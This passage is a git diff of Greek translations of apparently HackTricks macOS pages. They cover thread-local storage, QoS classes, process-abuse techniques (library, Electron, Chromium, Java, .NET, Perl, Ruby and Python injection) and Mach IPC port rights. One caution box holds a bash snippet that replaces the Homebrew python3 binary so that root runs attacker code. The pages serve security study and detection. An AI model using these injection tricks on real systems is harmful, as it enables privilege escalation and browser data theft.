σας: +Στην C και τις σχετικές γλώσσες, μπορείτε να δηλώσετε μια μεταβλητή τοπικού νήματος χρησιμοποιώντας τη λέξη-κλειδί **`__thread`**. Να πώς λειτουργεί στο παράδειγμά σας: ```c cCopy code__thread int tlv_var; @@ -105,7 +105,7 @@ tlv_var = 10; Στο δυαδικό αρχείο Mach-O, τα δεδομένα που σχετίζονται με τις τοπικές μεταβλητές νήματος οργανώνονται σε συγκεκριμένες ενότητες: - **`__DATA.__thread_vars`**: Αυτή η ενότητα περιέχει τα μεταδεδομένα σχετικά με τις τοπικές μεταβλητές νήματος, όπως τους τύπους τους και την κατάσταση αρχικοποίησης. -- **`__DATA.__thread_bss`**: Αυτή η ενότητα χρησιμοποιείται για τις τοπικές μεταβλητές νήματος που δεν έχουν αρχικοποιηθεί ρητά. Είναι ένα μέρος της μνήμης που έχει διατεθεί για δεδομένα που έχουν αρχικοποιηθεί σε μηδέν. +- **`__DATA.__thread_bss`**: Αυτή η ενότητα χρησιμοποιείται για τις τοπικές μεταβλητές νήματος που δεν έχουν ρητά αρχικοποιηθεί. Είναι ένα μέρος της μνήμης που έχει διατεθεί για δεδομένα που έχουν αρχικοποιηθεί σε μηδέν. Το Mach-O παρέχει επίσης μια συγκεκριμένη API που ονομάζεται **`tlv_atexit`** για τη διαχείριση των τοπικών μεταβλητών νήματος όταν ένα νήμα εξέρχεται. Αυτή η API σας επιτρέπει να **καταχωρείτε καταστροφείς**—ειδικές συναρτήσεις που καθαρίζουν τα τοπικά δεδομένα νήματος όταν ένα νήμα τερματίζει. @@ -124,7 +124,7 @@ tlv_var = 10; #### Κλάσεις Ποιότητας Υπηρεσίας (QoS) -Οι κλάσεις QoS είναι μια πιο σύγχρονη προσέγγιση για τη διαχείριση των προτεραιοτήτων νημάτων, ιδιαίτερα σε συστήματα όπως το macOS που υποστηρίζουν **Grand Central Dispatch (GCD)**. Οι κλάσεις QoS επιτρέπουν στους προγραμματιστές να **κατηγοριοποιούν** τη δουλειά σε διαφορετικά επίπεδα με βάση τη σημασία ή την επείγουσα ανάγκη τους. Το macOS διαχειρίζεται την προτεραιοποίηση νημάτων αυτόματα με βάση αυτές τις κλάσεις QoS: +Οι κλάσεις QoS είναι μια πιο σύγχρονη προσέγγιση για τη διαχείριση των προτεραιοτήτων νημάτων, ιδιαίτερα σε συστήματα όπως το macOS που υποστηρίζουν το **Grand Central Dispatch (GCD)**. Οι κλάσεις QoS επιτρέπουν στους προγραμματιστές να **κατηγοριοποιούν** τη δουλειά σε διαφορετικά επίπεδα με βάση τη σημασία ή την επείγουσα ανάγκη τους. Το macOS διαχειρίζεται την προτεραιότητα των νημάτων αυτόματα με βάση αυτές τις κλάσεις QoS: 1. **Αλληλεπίδραση Χρήστη:** - Αυτή η κλάση είναι για εργασίες που αλληλεπιδρούν αυτή τη στιγμή με τον χρήστη ή απαιτούν άμεσα αποτελέσματα για να παρέχουν καλή εμπειρία χρήστη. Αυτές οι εργασίες έχουν την υψηλότερη προτεραιότητα για να διατηρούν την διεπαφή ανταγωνιστική (π.χ., κινούμενα σχέδια ή χειρισμός γεγονότων). @@ -133,7 +133,7 @@ tlv_var = 10; 3. **Χρήση:** - Αυτές οι εργασίες είναι μακροχρόνιες και συνήθως εμφανίζουν έναν δείκτη προόδου (π.χ., λήψη αρχείων, εισαγωγή δεδομένων). Είναι χαμηλότερης προτεραιότητας από τις εργασίες που ξεκινούν οι χρήστες και δεν χρειάζεται να ολοκληρωθούν άμεσα. 4. **Υπόβαθρο:** -- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμένη ή οι αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος. +- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμός ή τα αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος. Χρησιμοποιώντας τις κλάσεις QoS, οι προγραμματιστές δεν χρειάζεται να διαχειρίζονται τους ακριβείς αριθμούς προτεραιότητας αλλά να εστιάζουν στη φύση της εργασίας, και το σύστημα βελτιστοποιεί τους πόρους CPU αναλόγως. @@ -141,11 +141,12 @@ tlv_var = 10; ## Κατάχρηση Διαδικασιών MacOS -Το MacOS, όπως κάθε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**. +Το MacOS, όπως και οποιοδήποτε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**. -### Εισαγωγή Βιβλιοθήκης +### Εισαγωγή Βιβλιοθηκών + +Η Εισαγωγή Βιβλιοθηκών είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία. -Η Εισαγωγή Βιβλιοθήκης είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία. {{#ref}} macos-library-injection/ @@ -155,6 +156,7 @@ macos-library-injection/ Το Hooking Συναρτήσεων περιλαμβάνει **παρεμβολές σε κλήσεις συναρτήσεων** ή μηνύματα εντός ενός κώδικα λογισμικού. Με το hooking συναρτήσεων, ένας επιτιθέμενος μπορεί να **τροποποιήσει τη συμπεριφορά** μιας διαδικασίας, να παρακολουθήσει ευαίσθητα δεδομένα ή ακόμη και να αποκτήσει έλεγχο της ροής εκτέλεσης. + {{#ref}} macos-function-hooking.md {{#endref}} @@ -163,6 +165,7 @@ macos-function-hooking.md Η Επικοινωνία Μεταξύ Διαδικασιών (IPC) αναφέρεται σε διάφορες μεθόδους με τις οποίες ξεχωριστές διαδικασίες **μοιράζονται και ανταλλάσσουν δεδομένα**. Ενώ η IPC είναι θεμελιώδης για πολλές νόμιμες εφαρμογές, μπορεί επίσης να καταχραστεί για να υπονομεύσει την απομόνωση διαδικασιών, να διαρρεύσει ευαίσθητες πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες. + {{#ref}} macos-ipc-inter-process-communication/ {{#endref}} @@ -171,13 +174,15 @@ macos-ipc-inter-process-communication/ Οι εφαρμογές Electron που εκτελούνται με συγκεκριμένες μεταβλητές περιβάλλοντος θα μπορούσαν να είναι ευάλωτες σε εισαγωγή διαδικασίας: + {{#ref}} macos-electron-applications-injection.md {{#endref}} ### Εισαγωγή Chromium -Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** επιτρέποντας την κλοπή πλήκτρων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...: +Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** που επιτρέπει την κλοπή πληκτρολογήσεων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...: + {{#ref}} macos-chromium-injection.md @@ -187,13 +192,15 @@ macos-chromium-injection.md Τα αρχεία NIB **ορίζουν στοιχεία διεπαφής χρήστη (UI)** και τις αλληλεπιδράσεις τους εντός μιας εφαρμογής. Ωστόσο, μπορούν να **εκτελούν αυθαίρετες εντολές** και **ο Gatekeeper δεν σταματά** μια ήδη εκτελούμενη εφαρμογή από το να εκτελείται αν ένα **αρχείο NIB έχει τροποποιηθεί**. Επομένως, θα μπορούσαν να χρησιμοποιηθούν για να κάνουν αυθαίρετα προγράμματα να εκτελούν αυθαίρετες εντολές: + {{#ref}} macos-dirty-nib.md {{#endref}} ### Εισαγωγή Εφαρμογών Java -Είναι δυνατόν να καταχραστεί ορισμένες δυνατότητες java (όπως η **`_JAVA_OPTS`** μεταβλητή περιβάλλοντος) για να κάνει μια εφαρμογή java να εκτελεί **αυθαίρετο κώδικα/εντολές**. +Είναι δυνατόν να καταχραστεί ορισμένες δυνατότητες της Java (όπως η μεταβλητή περιβάλλοντος **`_JAVA_OPTS`**) για να εκτελέσει μια εφαρμογή Java **αυθαίρετο κώδικα/εντολές**. + {{#ref}} macos-java-apps-injection.md @@ -201,7 +208,8 @@ macos-java-apps-injection.md ### Εισαγωγή Εφαρμογών .Net -Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη **λειτουργικότητα αποσφαλμάτωσης .Net** (όχι προστατευμένη από τις προστασίες του macOS όπως η σκληροποίηση χρόνου εκτέλεσης). +Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη λειτουργικότητα αποσφαλμάτωσης .Net (όχι προστατευμένη από τις προστασίες macOS όπως η σκληρή εκτέλεση). + {{#ref}} macos-.net-applications-injection.md @@ -209,7 +217,8 @@ macos-.net-applications-injection.md ### Εισαγωγή Perl -Ελέγξτε διάφορες επιλογές για να κάνετε ένα σενάριο Perl να εκτελεί αυθαίρετο κώδικα στο: +Ελέγξτε διάφορες επιλογές για να κάνετε ένα σενάριο Perl να εκτελεί αυθαίρετο κώδικα σε: + {{#ref}} macos-perl-applications-injection.md @@ -217,7 +226,8 @@ macos-perl-applications-injection.md ### Εισαγωγή Ruby -Είναι επίσης δυνατόν να καταχραστεί η μεταβλητή περιβάλλοντος ruby για να εκτελούνται αυθαίρετα scripts: +Είναι επίσης δυνατόν να καταχραστεί η μεταβλητή περιβάλλοντος ruby για να εκτελούνται αυθαίρετα scripts που εκτελούν αυθαίρετο κώδικα: + {{#ref}} macos-ruby-applications-injection.md @@ -228,13 +238,13 @@ macos-ruby-applications-injection.md Αν η μεταβλητή περιβάλλοντος **`PYTHONINSPECT`** είναι ρυθμισμένη, η διαδικασία python θα εισέλθει σε μια CLI python μόλις ολοκληρωθεί. Είναι επίσης δυνατόν να χρησιμοποιήσετε το **`PYTHONSTARTUP`** για να υποδείξετε ένα σενάριο python που θα εκτελείται στην αρχή μιας διαδραστικής συνεδρίας.\ Ωστόσο, σημειώστε ότι το σενάριο **`PYTHONSTARTUP`** δεν θα εκτελείται όταν το **`PYTHONINSPECT`** δημιουργεί τη διαδραστική συνεδρία. -Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνετε μια εντολή python να εκτελεί αυθαίρετο κώδικα. +Άλλες μεταβλητές περιβάλλοντος όπως το **`PYTHONPATH`** και το **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνετε μια εντολή python να εκτελεί αυθαίρετο κώδικα. -Σημειώστε ότι τα εκτελέσιμα αρχεία που έχουν μεταγλωττιστεί με **`pyinstaller`** δεν θα χρησιμοποιούν αυτές τις μεταβλητές περιβάλλοντος ακόμη και αν εκτελούνται χρησιμοποιώντας μια ενσωματωμένη python. +Σημειώστε ότι τα εκτελέσιμα αρχεία που έχουν μεταγλωττιστεί με το **`pyinstaller`** δεν θα χρησιμοποιούν αυτές τις μεταβλητές περιβάλλοντος ακόμη και αν εκτελούνται χρησιμοποιώντας μια ενσωματωμένη python. > [!CAUTION] > Γενικά, δεν μπόρεσα να βρω έναν τρόπο να κάνω την python να εκτελεί αυθαίρετο κώδικα καταχρώντας τις μεταβλητές περιβάλλοντος.\ -> Ωστόσο, οι περισσότεροι άνθρωποι εγκαθιστούν την python χρησιμοποιώντας **Hombrew**, το οποίο θα εγκαταστήσει την python σε μια **γραφτή τοποθεσία** για τον προεπιλεγμένο διαχειριστή χρήστη. Μπορείτε να την καταλάβετε με κάτι τέτοιο: +> Ωστόσο, οι περισσότεροι άνθρωποι εγκαθιστούν την python χρησιμοποιώντας το **Hombrew**, το οποίο θα εγκαταστήσει την python σε μια **γραφτή τοποθεσία** για τον προεπιλεγμένο διαχειριστή χρήστη. Μπορείτε να την καταλάβετε με κάτι όπως: > > ```bash > mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old @@ -246,7 +256,7 @@ macos-ruby-applications-injection.md > chmod +x /opt/homebrew/bin/python3 > ``` > -> Ακόμη και **root** θα εκτελέσει αυτόν τον κώδικα όταν εκτελεί python. +> Ακόμη και **root** θα εκτελέσει αυτόν τον κώδικα όταν εκτελεί την python. ## Ανίχνευση @@ -257,7 +267,7 @@ macos-ruby-applications-injection.md - Χρησιμοποιώντας **Μεταβλητές Περιβάλλοντος**: Θα παρακολουθεί την παρουσία οποιασδήποτε από τις παρακάτω μεταβλητές περιβάλλοντος: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** και **`ELECTRON_RUN_AS_NODE`** - Χρησιμοποιώντας κλήσεις **`task_for_pid`**: Για να βρει πότε μια διαδικασία θέλει να αποκτήσει το **task port μιας άλλης** που επιτρέπει την εισαγωγή κώδικα στη διαδικασία. - **Παράμετροι εφαρμογών Electron**: Κάποιος μπορεί να χρησιμοποιήσει τα **`--inspect`**, **`--inspect-brk`** και **`--remote-debugging-port`** επιχειρήματα γραμμής εντολών για να ξεκινήσει μια εφαρμογή Electron σε λειτουργία αποσφαλμάτωσης, και έτσι να εισάγει κώδικα σε αυτήν. -- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα δικαιώματα του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης άδειας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο άδειας** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η απαγόρευση δεν είναι δυνατή, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική δυνατότητα του πλαισίου EndpointSecuriy της Apple. +- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα προνόμια του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης προνομίας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο προνομίων** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η αποκλεισμός δεν είναι δυνατός, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική του πλαισίου EndpointSecurity της Apple. ### Κλήσεις που γίνονται από άλλες διαδικασίες diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index 2a0306b01..d2d200926 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -6,7 +6,7 @@ ### Basic Information -Το Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχίζονται 1:1 σε POSIX processes και threads**. +Το Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχίζονται 1:1 σε POSIX διαδικασίες και νήματα**. Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας. @@ -14,19 +14,19 @@ Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα). -Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα θύρας με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task** να εμφανιστεί. +Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα θύρας με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task**. ### Port Rights Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο αναγνωστικό άκρο ενός σωλήνα). +- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο τέλος ανάγνωσης ενός σωλήνα). - Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στη θύρα** της. - Εάν ο ιδιοκτήτης του Δικαιώματος Λήψης **πεθάνει** ή το σκοτώσει, το **δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).** - **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα. - Το Δικαίωμα Αποστολής μπορεί να **αντιγραφεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να το αντιγράψει και **να το παραχωρήσει σε μια τρίτη task**. - Σημειώστε ότι τα **δικαιώματα θύρας** μπορούν επίσης να **περαστούν** μέσω μηνυμάτων Mac. -- **Δικαίωμα αποστολής-μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται. +- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται. - Αυτό το δικαίωμα **δεν μπορεί** να **αντιγραφεί**, αλλά μπορεί να **μετακινηθεί**. - **Δικαίωμα συνόλου θυρών**, το οποίο δηλώνει ένα _σύνολο θυρών_ αντί για μια μόνο θύρα. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θύρες ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix. - **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα θύρας, αλλά απλώς μια θέση κράτησης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα. @@ -35,37 +35,37 @@ ### File Ports -Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mach ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας `fileport_makefd`. +Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας `fileport_makefd`. ### Establishing a communication Όπως αναφέρθηκε προηγουμένως, είναι δυνατή η αποστολή δικαιωμάτων χρησιμοποιώντας μηνύματα Mach, ωστόσο, **δεν μπορείτε να στείλετε ένα δικαίωμα χωρίς να έχετε ήδη ένα δικαίωμα** για να στείλετε ένα μήνυμα Mach. Έτσι, πώς καθορίζεται η πρώτη επικοινωνία; -Για αυτό, ο **bootstrap server** (**launchd** στο mac) εμπλέκεται, καθώς **ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server**, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία: +Για αυτό, εμπλέκεται ο **bootstrap server** (**launchd** στο mac), καθώς **ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server**, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία: -1. Η task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της. -2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**. -3. Η task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή. +1. Η Task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της. +2. Η Task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**. +3. Η Task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή. - Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server. -4. Η task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska` -5. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για το όνομα υπηρεσίας** (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**. +4. Η Task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska` +5. Η Task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **αναζήτηση για το όνομα υπηρεσίας** (`bootstrap_lookup`). Έτσι, ο bootstrap server μπορεί να απαντήσει, η task B θα του στείλει ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα που δημιούργησε προηγουμένως** μέσα στο μήνυμα αναζήτησης. Εάν η αναζήτηση είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**. - Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server. 6. Με αυτό το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η **Task B** είναι ικανή να **στείλει** ένα **μήνυμα** **στην Task A**. 7. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). -Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που διεκδικεί μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως να διεκδικεί ψευδώς ένα όνομα υπηρεσίας εξουσιοδότησης και στη συνέχεια να εγκρίνει κάθε αίτημα. +Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που ισχυρίζεται μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως ψευδώς **να ισχυρίζεται ένα όνομα υπηρεσίας εξουσιοδότησης** και στη συνέχεια να εγκρίνει κάθε αίτημα. Στη συνέχεια, η Apple αποθηκεύει τα **ονόματα υπηρεσιών που παρέχονται από το σύστημα** σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε **SIP-protected** καταλόγους: `/System/Library/LaunchDaemons` και `/System/Library/LaunchAgents`. Μαζί με κάθε όνομα υπηρεσίας, το **σχετικό δυαδικό αρχείο αποθηκεύεται επίσης**. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας**. Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής: -- Η task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας. +- Η Task **B** ξεκινά μια bootstrap **αναζήτηση** για ένα όνομα υπηρεσίας. - Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**. -- Η task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**. +- Η Task **A** (η υπηρεσία) εκτελεί έναν **bootstrap check-in** (`bootstrap_check_in()`). Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**. - Ο launchd διπλασιάζει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**. -- Η task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ 